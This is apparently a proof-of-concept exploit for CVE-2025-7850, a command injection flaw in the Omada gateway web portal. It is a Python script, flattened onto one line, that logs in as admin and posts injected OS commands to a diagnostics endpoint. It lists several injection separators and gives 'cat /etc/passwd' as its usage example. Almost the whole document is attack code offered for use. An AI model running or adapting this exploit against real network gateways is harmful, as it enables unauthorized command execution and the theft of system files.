CVE-2025-7850：Omada网关Web门户命令注入漏洞

# CVE-2025-7850 - Omada Gateway Command Injection PoC # Note: This PoC requires valid admin credentials for the Omada gateway web portal # The vulnerability allows authenticated admin users to inject OS commands # through insufficiently sanitized input fields in the web management interface. import requests import sys TARGET_URL = "https://<target-ip>:443" ADMIN_USER = "admin" ADMIN_PASS = "<admin_password>" def exploit_command_injection(target, username, password, cmd): """ Exploit command injection in Omada gateway web portal. Requires authenticated admin session. """ session = requests.Session() # Step 1: Authenticate to the web portal as admin login_url = f"{target}/cgi-bin/authLogin.cgi" login_data = { "username": username, "password": password } resp = session.post(login_url, data=login_data, verify=False) if resp.status_code != 200 or "error" in resp.text.lower(): print("[-] Authentication failed") return False print("[+] Authentication successful") # Step 2: Inject command via vulnerable parameter # The vulnerable endpoint typically processes diagnostic or config inputs # Example: ping/traceroute utilities or system configuration fields inject_url = f"{target}/cgi-bin/luci/;stok=<session_token>/admin/diagnostics" # Command injection payload - using command separator payload = { "command": f"127.0.0.1; {cmd}", # Alternative payloads: # "command": f"127.0.0.1`{cmd}`", # "command": f"127.0.0.1|{cmd}", # "command": f"127.0.0.1$({cmd})" } resp = session.post(inject_url, data=payload, verify=False) print(f"[+] Command executed: {cmd}") print(f"[+] Response status: {resp.status_code}") return True if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: {sys.argv[0]} <command_to_execute>") print(f"Example: {sys.argv[0]} 'cat /etc/passwd'") sys.exit(1) cmd = sys.argv[1] exploit_command_injection(TARGET_URL, ADMIN_USER, ADMIN_PASS, cmd)